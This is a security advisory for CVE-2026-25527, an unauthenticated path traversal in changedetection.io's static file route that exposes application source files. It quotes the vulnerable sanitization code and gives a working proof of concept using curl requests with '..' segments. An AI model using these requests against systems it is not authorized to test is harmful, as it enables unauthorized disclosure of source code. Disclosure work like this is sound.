CVE-2026-25527: changedetection.io vulnerable to unauthenticated static path traversal

Summary The /static/<group>/<filename> route accepts group="..", which causes sendfromdirectory("static/..", filename) to execute. This moves the base directory up to /app/changedetectionio, enabling unauthenticated local file read of application source files (e.g., flaskapp.py). Severity is low information disclosure (C:L).

Details The vulnerable code is in changedetectionio/flaskapp.py inside staticcontent():

group = re.sub(r'[^\w.-]+', '', group.lower()) filename = re.sub(r'[^\w.-]+', '', filename.lower()) ... return sendfromdirectory(f"static/{group}", path=filename)

The group sanitization allows dots, so group=".." passes validation. This results in sendfromdirectory("static/..", filename), effectively shifting the base directory to /app/changedetectionio and allowing reads of files in that directory. The route is unauthenticated, so any user can retrieve source files without logging in.

> Limitation: the route only matches /static/<group>/<filename> and rejects slashes inside filename, so it cannot traverse further to arbitrary system paths like /etc/passwd. It is limited to files inside the application package directory.

PoC 1) Start an instance (example: Docker on port 5050) docker run -d --name cdio -p 127.0.0.1:5050:5000 -v cdio-data:/datastore cdio-local

2) Reproduce (URL-encoded traversal) curl -i http://127.0.0.1:5050/static/%2e%2e/flaskapp.py

(curl path passthrough) curl --path-as-is -i http://127.0.0.1:5050/static/../flaskapp.py

3) Observe that the response body contains Python source code from flaskapp.py.

Impact - Vulnerability type: Directory Traversal / Local File Read - Affected users: Anyone with network access (no authentication required) - Scope: Source files under /app/changedetectionio - Security impact: Internal logic exposure can aid further exploitation (Confidentiality: Low)